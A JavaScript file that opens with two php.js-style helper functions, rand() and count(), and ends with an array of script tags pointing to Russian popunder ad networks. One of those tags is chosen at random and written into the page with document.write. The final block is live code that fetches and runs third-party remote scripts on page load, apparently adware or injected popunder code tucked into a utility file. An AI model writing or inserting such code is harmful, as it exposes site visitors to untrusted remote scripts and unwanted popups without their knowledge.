function rand( min, max ) {
   // http://kevin.vanzonneveld.net
   // +   original by: Leslie Hoare
   // +   bugfixed by: Onno Marsman
   // *     example 1: rand(1, 1);
   // *     returns 1: 1
   var argc = arguments.length;
   if (argc == 0) {
       min = 0;
       max = 2147483647;
   } else if (argc == 1) {
       throw new Error('Warning: rand() expects exactly 2 parameters, 1 given');
   }
   return Math.floor(Math.random() * (max - min + 1)) + min;
}

function count( mixed_var, mode ) {
   // http://kevin.vanzonneveld.net
   // +   original by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
   // +      input by: _argos
   // *     example 1: count([[0,0],[0,-4]], 'COUNT_RECURSIVE');
   // *     returns 1: 6
   // *     example 2: count({'one' : [1,2,3,4,5]}, 'COUNT_RECURSIVE');
   // *     returns 2: 6

   var key, cnt = 0;

   if( mode == 'COUNT_RECURSIVE' ) mode = 1;
   if( mode != 1 ) mode = 0;

   for (key in mixed_var){
       cnt++;
       if( mode==1 && mixed_var[key] && (mixed_var[key].constructor === Array || mixed_var[key].constructor === Object) ){
           cnt += count(mixed_var[key], 1);
       }
   }

   return cnt;
}

var popup = ['<script language="JavaScript" src="http://popuptraf.ru/script/js.php?id=15916"></script>', '<SCRIPT LANGUAGE="Javascript" SRC="http://Shava88.popunder.ru/popunder.php?id=Shava88"></SCRIPT>',' <script language="JavaScript" src="http://protizer.ru/popup.php?id=6141&site=21688"></script><link rel="stylesheet" href="http://protizer.ru/pop_style1.css" type="text/css">','<script>ids=2000;</script><script language="JavaScript" type="text/JavaScript" charset="windows-1251" src="http://1under.ru/j1.php"></script>',''];
b=popup[rand(0,count(popup)-1)];
//alert(b);
document.write(b);